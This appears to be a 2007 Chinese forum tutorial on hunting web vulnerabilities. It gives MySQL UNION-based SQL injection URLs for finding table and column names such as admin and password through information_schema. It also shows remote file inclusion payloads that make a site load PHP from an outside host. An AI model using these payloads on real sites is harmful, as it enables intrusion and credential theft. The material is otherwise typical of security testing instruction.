WEB漏洞挖掘技术下(摘自影子鹰论坛)
作者/管理员 时间/2007-3-15 7:29:00 类别/网络安全 查看/
 发表评论 以论坛方式查看
标签:互联网 安全 黑客
猜测表名:


http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2

//where 1=2 不打印猜测表的内容


这里的猜测就需要大家多靠经验了,如admin user articles news等等,而且必须在指定select
的字段个数再使用,否则mysql会报错.
http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows,
table_count from information_schema.tables //如果执行这条语句是可行的,那么恭喜大家可以
得到更多的数据库信息了:)
上面我曾经提到过使用数据库的元数据来获取mysql的信息,就是这里的这个办法,当然前提是系统
管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的.
在开始分析mysql数据库到底可以执行到那种程度的注入情况下,我花了一天的时间分析了mysql的
系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql
数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,下面的
内容属于临时增加的一个章节,我们一起来讨论下information_schema数据库的一些我们用到的表
的具体字段到底是干什么的:)


1: KEY_COLUMN_USAGE表

constraint_schema: 存放数据库名

table_schema: 存放数据库名

table_name: 存放数据库表信息

column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息

2: SCHEMA表

schema_name: 存放数据库名

default_charater_set_name: 存放charset类型

default_collation_name: 存放charset相关信息

3: SCHEMA_PRIVILEGES表

grantee: 存放数据库用户名

table_schema: 表名

privilege_type: 权限

4: STATISTICS表

table_schema: 存放数据库名

table_name: 存放表名

index_schema: 数据库名

index_name: 是否缩引?

column_name: 存放索引自增字段?

5: TABLES表

table_schema: 存放数据库名

table_name: 存放表名

table_type: 表类型 SYSTEM or BASE TABLE

engin: MEMORY MYISAM InnoDB

version:

table_rows:表的行数

auto_increment: 自增的总行数

create_time: 创建表的时间

update_time: 更新表的时间

create_options: 创建表时的约束条件

...


有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而
直接获取数据库表名的结果.我在本地测试时一切OK:)

猜测列名:
http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2
按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会
出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表
的字段信息,如:admin与password:)

C: 文件包含漏洞
文件包含漏洞的测试,有以下几个比较简单且有效的办法.
1: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为*.txt格式
2: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为无后缀格式

然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为:


http://bbs.cciss.cn/include.txt

http://bbs.cciss.cn/include


漏洞规则:


http://website/file.php?inc=http://bbs.cciss.cn/include.txt

http://website/file.php?inc=http://bbs.cciss.cn/include.txt?

http://website/file.php?inc=http://bbs.cciss.cn/include?

http://website/file.php?inc=http://bbs.cciss.cn/include


使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断.
例如从XSS漏洞的检测规则可能会发现包含文件漏洞:)

如果我们知道PHP的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char *str),
那么我们如何利用这样的漏洞呢?
我们假设http://website/file.php?inc=test,这里的参数inc经过PHP代码时使用了phphtml内置
函数,则可以使用下面的办法来触发漏洞
http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)
当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode.
但这里也存在一个问题,即一般情况下,类似PHP本身的溢出漏洞的利用是有些难度存在的.

--] 总结
针对WEB漏洞的挖掘,规则有N多,其中还有很多变种的规则.这里说的基本上是一些可以简单采取
手工办法测试的规则,更多的规则是依靠经验不断积累所致:)
本文比较简单,也没有什么技术含量,只是看到xfocus上介绍WEB漏洞的文章较少,所以才想到提交下,
希望对大家有所帮助.
查看该用户更多文章>>